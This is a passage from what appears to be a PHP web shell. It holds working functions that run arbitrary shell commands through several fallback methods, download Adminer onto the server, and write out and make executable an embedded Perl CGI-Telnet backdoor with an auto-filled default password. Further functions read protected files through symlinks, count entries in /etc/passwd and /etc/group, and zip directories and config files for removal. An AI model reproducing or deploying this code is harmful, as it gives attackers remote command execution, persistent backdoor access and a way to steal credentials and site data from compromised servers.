            $new_name = str_replace($old_name, $name, $target);
            if (@rename($target, $new_name)) {
                return true;
            } else {
                return false;
            }
        }
        public function file_upload($temp, $filename, $where)
        {
            if (function_exists('move_uploaded_file')) {
                if (@move_uploaded_file($temp, $where . '/' . $filename)) {
                    return true;
                } else {
                    return false;
                }
            } elseif (function_exists('copy')) {
                if (@copy($temp, $where . '/' . $filename)) {
                    return true;
                } else {
                    return false;
                }
            } else {
                return false;
            }
        }
        public function run_cmd($cmd, $dir = null)
        {
            if ($dir != null) {
                @chdir($dir);
            }
            if (function_exists("shell_exec")) {
                $run = shell_exec($cmd);
                return 'shell_exec|' . trim($run);
            } elseif (function_exists("exec")) {
                $run = exec($cmd, $result);
                return 'exec|' . implode("\r\n", array_map('trim', $result));
            } elseif (function_exists("popen")) {
                $run = popen($cmd, "r");
                $result = "";
                while (!feof($run)) {
                    $buffer = fgets($run, 4096);
                    $result .= "-> {$buffer}\r\n";
                }
                pclose($run);
                return 'popen|' . trim($result);
            } elseif (function_exists("passthru")) {
                passthru($cmd);
                $content = ob_get_clean();
                return 'passthru|' . trim($content);
            } elseif (function_exists("system")) {
                system($cmd);
                $content = ob_get_clean();
                return 'system|' . trim($content);
            } else {
                return false;
            }
        }
        public function getClientIP()
        {
            if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
                $ip = $_SERVER['HTTP_CLIENT_IP'];
            } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            } else {
                $ip = $_SERVER['REMOTE_ADDR'];
            }
            return $ip;
        }
        public function get_adminer()
        {
            // https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1-en.php
            $name = 'adminer-web.php';
            if (file_exists($name)) {
                return true;
            } else {
                $curl = curl_init();
                curl_setopt_array($curl, array(CURLOPT_RETURNTRANSFER => 1, CURLOPT_URL => 'https://github.com/vrana/adminer/releases/download/v4.8.1/adminer-4.8.1-en.php', CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 20));
                $output = curl_exec($curl);
                curl_close($curl);
                if (@file_put_contents($name, $output)) {
                    return true;
                } else {
                    return false;
                }
            }
        }
        public function get_cgitelnet()
        {
            $name = 'cgi_web.pl';
            $cgiTelnetCode = "#!/usr/bin/perl\n#------------------------------------------------------------------------------\n# Copyright and Licence\n#------------------------------------------------------------------------------\n# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server\n#\n# Copyright (C) 2001 Rohitab Batra\n# Permission is granted to use, distribute and modify this script so long\n# as this copyright notice is left intact. If you make changes to the script\n# please document them and inform me. If you would like any changes to be made\n# in this script, you can e-mail me.\n#\n# Author: Rohitab Batra\n# Author e-mail: rohitab@rohitab.com\n# Author Homepage: http://www.rohitab.com/\n# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html\n# Product Support: http://www.rohitab.com/support/\n# Discussion Forum: http://www.rohitab.com/discuss/\n# Mailing List: http://www.rohitab.com/mlist/\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\n# Installation\n#------------------------------------------------------------------------------\n# To install this script\n#\n# 1. Modify the first line \"#!/usr/bin/perl\" to point to the correct path on\n#    your server. For most servers, you may not need to modify this.\n# 2. Change the password in the Configuration section below.\n# 3. If you're running the script under Windows NT, set \$WinNT = 1 in the\n#    Configuration Section below.\n# 4. Upload the script to a directory on your server which has permissions to\n#    execute CGI scripts. This is usually cgi-bin. Make sure that you upload\n#    the script in ASCII mode.\n# 5. Change the permission (CHMOD) of the script to 755.\n# 6. Open the script in your web browser. If you uploaded the script in\n#    cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl\n# 7. Login using the password that you specified in Step 2.\n#------------------------------------------------------------------------------\n\n#------------------------------------------------------------------------------\n# Configuration: You need to change only \$Password and \$WinNT. The other\n# values should work fine for most systems.\n#------------------------------------------------------------------------------\n\$Password = \"mws\";\t\t# Change this. You will need to enter this\n\t\t\t\t# to login.\n\n\$WinNT = 0;\t\t\t# You need to change the value of this to 1 if\n\t\t\t\t# you're running this script on a Windows NT\n\t\t\t\t# machine. If you're running it on Unix, you\n\t\t\t\t# can leave the value as it is.\n\n\$NTCmdSep = \"&\";\t\t# This character is used to seperate 2 commands\n\t\t\t\t# in a command line on Windows NT.\n\n\$UnixCmdSep = \";\";\t\t# This character is used to seperate 2 commands\n\t\t\t\t# in a command line on Unix.\n\n\$CommandTimeoutDuration = 10;\t# Time in seconds after commands will be killed\n\t\t\t\t# Don't set this to a very large value. This is\n\t\t\t\t# useful for commands that may hang or that\n\t\t\t\t# take very long to execute, like \"find /\".\n\t\t\t\t# This is valid only on Unix servers. It is\n\t\t\t\t# ignored on NT Servers.\n\n\$ShowDynamicOutput = 1;\t\t# If this is 1, then data is sent to the\n\t\t\t\t# browser as soon as it is output, otherwise\n\t\t\t\t# it is buffered and send when the command\n\t\t\t\t# completes. This is useful for commands like\n\t\t\t\t# ping, so that you can see the output as it\n\t\t\t\t# is being generated.\n\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\n\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\n\n#------------------------------------------------------------------------------\n# Reads the input sent by the browser and parses the input variables. It\n# parses GET, POST and multipart/form-data that is used for uploading files.\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\n# Other variables can be accessed using \$in{'var'}, where var is the name of\n# the variable. Note: Most of the code in this function is taken from other CGI\n# scripts.\n#------------------------------------------------------------------------------\nsub ReadParse \n{\n\tlocal (*in) = @_ if @_;\n\tlocal (\$i, \$loc, \$key, \$val);\n\t\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\n\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\n\t{\n\t\t\$in = \$ENV{'QUERY_STRING'};\n\t}\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\n\t{\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\n\t}\n\n\t# handle file upload data\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\n\t{\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \n\t\t@list = split(/\$Boundary/, \$in); \n\t\t\$HeaderBody = \$list[1];\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\n\t\t\$Header = \$`;\n\t\t\$Body = \$';\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\n\t\t\$in{'filedata'} = \$Body;\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \n\t\t\$in{'f'} = \$1; \n\t\t\$in{'f'} =~ s/\\\"//g;\n\t\t\$in{'f'} =~ s/\\s//g;\n\n\t\t# parse trailer\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\n\t\t{ \n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\n\t\t\t\$key = \$1;\n\t\t\t\$val = \$';\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} = \$val; \n\t\t}\n\t}\n\telse # standard post data (url encoded, not multipart)\n\t{\n\t\t@in = split(/&/, \$in);\n\t\tforeach \$i (0 .. \$#in)\n\t\t{\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\n\t\t\t\$in{\$key} .= \$val;\n\t\t}\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML Page Header\n# Argument 1: Form item name to which focus should be set\n#------------------------------------------------------------------------------\nsub PrintPageHeader\n{\n\t\$EncodedCurrentDir = \$CurrentDir;\n\t\$EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\tprint \"Content-type: text/html\\n\\n\";\n\tprint <<END;\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\n<html>\n<head>\n<title>CGI-Telnet Version 1.0</title>\n\$HtmlMetaHeader\n</head>\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#000000\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\n<tr>\n<td bgcolor=\"#C2BFA5\" bordercolor=\"#000080\" align=\"center\">\n<b><font color=\"#000080\" size=\"2\">#</font></b></td>\n<td bgcolor=\"#000080\"><font face=\"Verdana\" size=\"2\" color=\"#FFFFFF\"><b>CGI-Telnet Version 1.0 - Connected to \$ServerName</b></font></td>\n</tr>\n<tr>\n<td colspan=\"2\" bgcolor=\"#C2BFA5\"><font face=\"Verdana\" size=\"2\">\n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\n<a href=\"\$ScriptLocation?a=logout\">Disconnect</a> |\n<a href=\"http://www.rohitab.com/cgiscripts/cgitelnet.html\">Help</a>\n</font></td>\n</tr>\n</table>\n<font color=\"#C0C0C0\" size=\"3\">\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the Login Screen\n#------------------------------------------------------------------------------\nsub PrintLoginScreen\n{\n\t\$Message = q\$<pre><font color=\"#669999\"> _____  _____  _____          _____        _               _\n/  __ \\|  __ \\|_   _|        |_   _|      | |             | |\n| /  \\/| |  \\/  | |   ______   | |    ___ | | _ __    ___ | |_\n| |    | | __   | |  |______|  | |   / _ \\| || '_ \\  / _ \\| __|\n| \\__/\\| |_\\ \\ _| |_           | |  |  __/| || | | ||  __/| |_\n \\____/ \\____/ \\___/           \\_/   \\___||_||_| |_| \\___| \\__| 1.0\n                                         \n</font><font color=\"#FF0000\">                      ______             </font><font color=\"#AE8300\">\xc2\xa9 2001, Rohitab Batra</font><font color=\"#FF0000\">\n                   .-&quot;      &quot;-.\n                  /            \\\n                 |              |\n                 |,  .-.  .-.  ,|\n                 | )(_o/  \\o_)( |\n                 |/     /\\     \\|\n       (@_       (_     ^^     _)\n  _     ) \\</font><font color=\"#808080\">_______</font><font color=\"#FF0000\">\\</font><font color=\"#808080\">__</font><font color=\"#FF0000\">|IIIIII|</font><font color=\"#808080\">__</font><font color=\"#FF0000\">/</font><font color=\"#808080\">_______________________\n</font><font color=\"#FF0000\"> (_)</font><font color=\"#808080\">@8@8</font><font color=\"#FF0000\">{}</font><font color=\"#808080\">&lt;________</font><font color=\"#FF0000\">|-\\IIIIII/-|</font><font color=\"#808080\">________________________&gt;</font><font color=\"#FF0000\">\n        )_/        \\          / \n       (@           `--------`\n             </font><font color=\"#AE8300\">W A R N I N G: Private Server</font></pre>\n\$;\n#'\n\tprint <<END;\n<code>\nTrying \$ServerName...<br>\nConnected to \$ServerName<br>\nEscape character is ^]\n<code>\$Message\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the message that informs the user of a failed login\n#------------------------------------------------------------------------------\nsub PrintLoginFailedMessage\n{\n\tprint <<END;\n<code>\n<br>login: admin<br>\npassword:<br>\nLogin incorrect<br><br>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form for logging in\n#------------------------------------------------------------------------------\nsub PrintLoginForm\n{\n\tprint <<END;\n<code>\n<form name=\"f\" id=\"cgi\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"login\">\nlogin: admin<br>\npassword:<input type=\"password\" value=\"mws\" name=\"p\">\n<input type=\"submit\" value=\"Enter\">\n</form>\n<script>setTimeout(function(){document.getElementById('cgi').submit();},150);</script>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the footer for the HTML Page\n#------------------------------------------------------------------------------\nsub PrintPageFooter\n{\n\tprint \"</font></body></html>\";\n}\n\n#------------------------------------------------------------------------------\n# Retreives the values of all cookies. The cookies can be accesses using the\n# variable \$Cookies{''}\n#------------------------------------------------------------------------------\nsub GetCookies\n{\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\n\tforeach \$cookie(@httpcookies)\n\t{\n\t\t(\$id, \$val) = split(/=/, \$cookie);\n\t\t\$Cookies{\$id} = \$val;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the screen when the user logs out\n#------------------------------------------------------------------------------\nsub PrintLogoutScreen\n{\n\tprint \"<code>Connection closed by foreign host.<br><br></code>\";\n}\n\n#------------------------------------------------------------------------------\n# Logs out the user and allows the user to login again\n#------------------------------------------------------------------------------\nsub PerformLogout\n{\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\n\t&PrintPageHeader(\"p\");\n\t&PrintLogoutScreen;\n\t&PrintLoginScreen;\n\t&PrintLoginForm;\n\t&PrintPageFooter;\n}\n\n#------------------------------------------------------------------------------\n# This function is called to login the user. If the password matches, it\n# displays a page that allows the user to run commands. If the password doens't\n# match or if no password is entered, it displays a form that allows the user\n# to login\n#------------------------------------------------------------------------------\nsub PerformLogin \n{\n\tif(\$LoginPassword eq \$Password) # password matched\n\t{\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\n\t\t&PrintPageHeader(\"c\");\n\t\t&PrintCommandLineInputForm;\n\t\t&PrintPageFooter;\n\t}\n\telse # password didn't match\n\t{\n\t\t&PrintPageHeader(\"p\");\n\t\t&PrintLoginScreen;\n\t\tif(\$LoginPassword ne \"\") # some password was entered\n\t\t{\n\t\t\t&PrintLoginFailedMessage;\n\t\t}\n\t\t&PrintLoginForm;\n\t\t&PrintPageFooter;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to enter commands\n#------------------------------------------------------------------------------\nsub PrintCommandLineInputForm\n{\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\tprint <<END;\n<code>\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"command\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\$Prompt\n<input type=\"text\" name=\"c\">\n<input type=\"submit\" value=\"Enter\">\n</form>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to download files\n#------------------------------------------------------------------------------\nsub PrintFileDownloadForm\n{\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\tprint <<END;\n<code>\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input type=\"hidden\" name=\"a\" value=\"download\">\n\$Prompt download<br><br>\nFilename: <input type=\"text\" name=\"f\" size=\"35\"><br><br>\nDownload: <input type=\"submit\" value=\"Begin\">\n</form>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to upload files\n#------------------------------------------------------------------------------\nsub PrintFileUploadForm\n{\n\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\tprint <<END;\n<code>\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\n\$Prompt upload<br><br>\nFilename: <input type=\"file\" name=\"f\" size=\"35\"><br><br>\nOptions: &nbsp;<input type=\"checkbox\" name=\"o\" value=\"overwrite\">\nOverwrite if it Exists<br><br>\nUpload:&nbsp;&nbsp;&nbsp;<input type=\"submit\" value=\"Begin\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input type=\"hidden\" name=\"a\" value=\"upload\">\n</form>\n</code>\nEND\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the timeout for a command expires. We need to\n# terminate the script immediately. This function is valid only on Unix. It is\n# never called when the script is running on NT.\n#------------------------------------------------------------------------------\nsub CommandTimeout\n{\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t\tprint <<END;\n</xmp>\n<code>\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).\n<br>Killed it!\n<code>\nEND\n\t\t&PrintCommandLineInputForm;\n\t\t&PrintPageFooter;\n\t\texit;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function is called to execute commands. It displays the output of the\n# command and allows the user to enter another command. The change directory\n# command is handled differently. In this case, the new directory is stored in\n# an internal variable and is used each time a command has to be executed. The\n# output of the change directory command is not displayed to the users\n# therefore error messages cannot be displayed.\n#------------------------------------------------------------------------------\nsub ExecuteCommand\n{\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\n\t{\n\t\t# we change the directory internally. The output of the\n\t\t# command is not displayed.\n\t\t\n\t\t\$OldDir = \$CurrentDir;\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\n\t\tchop(\$CurrentDir = `\$Command`);\n\t\t&PrintPageHeader(\"c\");\n\t\t\$Prompt = \$WinNT ? \"\$OldDir> \" : \"[admin\\@\$ServerName \$OldDir]\\\$ \";\n\t\tprint \"<code>\$Prompt \$RunCommand</code>\";\n\t}\n\telse # some other command, display the output\n\t{\n\t\t&PrintPageHeader(\"c\");\n\t\t\$Prompt = \$WinNT ? \"\$CurrentDir> \" : \"[admin\\@\$ServerName \$CurrentDir]\\\$ \";\n\t\tprint \"<code>\$Prompt \$RunCommand</code><xmp>\";\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\n\t\tif(!\$WinNT)\n\t\t{\n\t\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\n\t\t\talarm(\$CommandTimeoutDuration);\n\t\t}\n\t\tif(\$ShowDynamicOutput) # show output as it is generated\n\t\t{\n\t\t\t\$|=1;\n\t\t\t\$Command .= \" |\";\n\t\t\topen(CommandOutput, \$Command);\n\t\t\twhile(<CommandOutput>)\n\t\t\t{\n\t\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\n\t\t\t\tprint \"\$_\\n\";\n\t\t\t}\n\t\t\t\$|=0;\n\t\t}\n\t\telse # show output after command completes\n\t\t{\n\t\t\tprint `\$Command`;\n\t\t}\n\t\tif(!\$WinNT)\n\t\t{\n\t\t\talarm(0);\n\t\t}\n\t\tprint \"</xmp>\";\n\t}\n\t&PrintCommandLineInputForm;\n\t&PrintPageFooter;\n}\n\n#------------------------------------------------------------------------------\n# This function displays the page that contains a link which allows the user\n# to download the specified file. The page also contains a auto-refresh\n# feature that starts the download automatically.\n# Argument 1: Fully qualified filename of the file to be downloaded\n#------------------------------------------------------------------------------\nsub PrintDownloadLinkPage\n{\n\tlocal(\$FileUrl) = @_;\n\tif(-e \$FileUrl) # if the file exists\n\t{\n\t\t# encode the file link so we can send it to the browser\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\n\t\t&PrintPageHeader(\"c\");\n\t\tprint <<END;\n<code>\nSending File \$TransferFile...<br>\nIf the download does not start automatically,\n<a href=\"\$DownloadLink\">Click Here</a>.\n</code>\nEND\n\t\t&PrintCommandLineInputForm;\n\t\t&PrintPageFooter;\n\t}\n\telse # file doesn't exist\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\tprint \"<code>Failed to download \$FileUrl: \$!</code>\";\n\t\t&PrintFileDownloadForm;\n\t\t&PrintPageFooter;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function reads the specified file from the disk and sends it to the\n# browser, so that it can be downloaded by the user.\n# Argument 1: Fully qualified pathname of the file to be sent.\n#------------------------------------------------------------------------------\nsub SendFileToBrowser\n{\n\tlocal(\$SendFile) = @_;\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tbinmode(SENDFILE);\n\t\t\tbinmode(STDOUT);\n\t\t}\n\t\t\$FileSize = (stat(\$SendFile))[7];\n\t\t(\$Filename = \$SendFile) =~  m!([^/^\\\\]*)\$!;\n\t\tprint \"Content-Type: application/x-unknown\\n\";\n\t\tprint \"Content-Length: \$FileSize\\n\";\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\n\t\tprint while(<SENDFILE>);\n\t\tclose(SENDFILE);\n\t}\n\telse # failed to open file\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\tprint \"<code>Failed to download \$SendFile: \$!</code>\";\n\t\t&PrintFileDownloadForm;\n\t\t&PrintPageFooter;\n\t}\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called when the user downloads a file. It displays a message\n# to the user and provides a link through which the file can be downloaded.\n# This function is also called when the user clicks on that link. In this case,\n# the file is read and sent to the browser.\n#------------------------------------------------------------------------------\nsub BeginDownload\n{\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\t&SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\t&PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to upload a file. If the\n# file is not specified, it displays a form allowing the user to specify a\n# file, otherwise it starts the upload process.\n#------------------------------------------------------------------------------\nsub UploadFile\n{\n\t# if no file is specified, print the upload form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\t&PrintFileUploadForm;\n\t\t&PrintPageFooter;\n\t\treturn;\n\t}\n\t&PrintPageHeader(\"c\");\n\n\t# start the uploading process\n\tprint \"<code>Uploading \$TransferFile to \$CurrentDir...<br>\";\n\n\t# get the fullly qualified pathname of the file to be created\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\n\t\$TargetName .= \$PathSep.\$1;\n\n\t\$TargetFileSize = length(\$in{'filedata'});\n\t# if the file exists and we are not supposed to overwrite it\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\n\t{\n\t\tprint \"Failed: Destination file already exists.<br>\";\n\t}\n\telse # file is not present\n\t{\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\n\t\t{\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\n\t\t\tprint UPLOADFILE \$in{'filedata'};\n\t\t\tclose(UPLOADFILE);\n\t\t\tprint \"Transfered \$TargetFileSize Bytes.<br>\";\n\t\t\tprint \"File Path: \$TargetName<br>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprint \"Failed: \$!<br>\";\n\t\t}\n\t}\n\tprint \"</code>\";\n\t&PrintCommandLineInputForm;\n\t&PrintPageFooter;\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to download a file. If the\n# filename is not specified, it displays a form allowing the user to specify a\n# file, otherwise it displays a message to the user and provides a link\n# through  which the file can be downloaded.\n#------------------------------------------------------------------------------\nsub DownloadFile\n{\n\t# if no file is specified, print the download form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\t&PrintFileDownloadForm;\n\t\t&PrintPageFooter;\n\t\treturn;\n\t}\n\t\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\t&SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\t&PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Main Program - Execution Starts Here\n#------------------------------------------------------------------------------\n&ReadParse;\n&GetCookies;\n\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\n\$ServerName = \$ENV{'SERVER_NAME'};\n\$LoginPassword = \$in{'p'};\n\$RunCommand = \$in{'c'};\n\$TransferFile = \$in{'f'};\n\$Options = \$in{'o'};\n\n\$Action = \$in{'a'};\n\$Action = \"login\" if(\$Action eq \"\"); # no action specified, use default\n\n# get the directory in which the commands will be executed\n\$CurrentDir = \$in{'d'};\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\n\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\n\nif(\$Action eq \"login\" || !\$LoggedIn) # user needs/has to login\n{\n\t&PerformLogin;\n}\nelsif(\$Action eq \"command\") # user wants to run a command\n{\n\t&ExecuteCommand;\n}\nelsif(\$Action eq \"upload\") # user wants to upload a file\n{\n\t&UploadFile;\n}\nelsif(\$Action eq \"download\") # user wants to download a file\n{\n\t&DownloadFile;\n}\nelsif(\$Action eq \"logout\") # user wants to logout\n{\n\t&PerformLogout;\n}";
            if (file_exists($name)) {
                return true;
            } else {
                if (@file_put_contents($name, $cgiTelnetCode)) {
                    @chmod($name, octdec("0755"));
                    return true;
                } else {
                    return false;
                }
            }
        }
        public function create_symlink($target)
        {
            if (!file_exists($target)) {
                return false;
            } else {
                $temp = sys_get_temp_dir() . DIRECTORY_SEPARATOR . uniqid(rand(1, 50)) . ".tmp";
                if (@symlink($target, $temp)) {
                    $content = @file_get_contents($temp);
                    @unlink($temp);
                    return $content;
                } elseif (@link($target, $temp)) {
                    $content = @file_get_contents($temp);
                    @unlink($temp);
                    return $content;
                } else {
                    $exec_ln = $this->run_cmd('ln -sf ' . $target . ' ' . $temp);
                    if ($exec_ln !== false) {
                        $content = @file_get_contents($temp);
                        @unlink($temp);
                        return $content;
                    } else {
                        return false;
                    }
                }
            }
        }
        public function prepare_search_cmd($location, $keyword, $type)
        {
            if ($type == 'all') {
                $cmd = 'find "' . $location . '" -iname "*' . $keyword . '*"';
            } elseif ($type == 'files_only') {
                $cmd = 'find "' . $location . '" -type f -iname "*' . $keyword . '*"';
            } elseif ($type == 'dirs_only') {
                $cmd = 'find "' . $location . '" -type d -iname "*' . $keyword . '*"';
            }
            return $cmd;
        }
        public function get_users_count()
        {
            if (false) {
                return "Windows not supported";
            } else {
                $read_as_arr = @array_map('trim', @file('/etc/passwd'));
                return count($read_as_arr);
            }
        }
        public function get_groups_count()
        {
            if (false) {
                return "Windows not supported";
            } else {
                $read_as_arr = @array_map('trim', @file('/etc/group'));
                return count($read_as_arr);
            }
        }
        public function download_as_zip($target)
        {
            // https://stackoverflow.com/questions/55927020/how-to-zip-an-entire-folder-in-php-even-the-empty-ones
            if (!is_readable($target)) {
                return false;
            }
            $rootPath = realpath($target);
            $zipFilename = $_SERVER['HTTP_HOST'] . '-' . uniqid() . '.zip';
            $zip = new ZipArchive();
            if ($zip->open($zipFilename, ZipArchive::CREATE)) {
                /** @var SplFileInfo[] $files */
                $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY);
                foreach ($files as $name => $file) {
                    $filePath = $file->getRealPath();
                    $relativePath = substr($filePath, strlen($rootPath) + 1);
                    if (!$file->isDir()) {
                        // Add current file to archive
                        $zip->addFile($filePath, $relativePath);
                    } else {
                        if ($relativePath !== false) {
                            $zip->addEmptyDir($relativePath);
                        }
                    }
                }
                if ($zip->status == ZipArchive::ER_OK) {
                    $zip->close();
                    return $zipFilename;
                } else {
                    $zip->close();
                    return false;
                }
            } else {
                return false;
            }
        }
        public function download_configs($configs)
        {
            $configs = explode("\n", $configs);
            $configs = array_filter($configs);
            $configs = array_unique($configs);
            $configs = array_map('trim', $configs);
            $zipTemp = $_SERVER['HTTP_HOST'] . '-configs.zip';
            $zip = new ZipArchive();
            if ($zip->open($zipTemp, ZipArchive::CREATE)) {
                foreach ($configs as $config) {
                    $zip->addFile($config, basename($config));
                }
                if ($zip->status == ZipArchive::ER_OK) {
                    $zip->close();
                    return $zipTemp;
                } else {
                    $zip->close();
                    return false;
                }
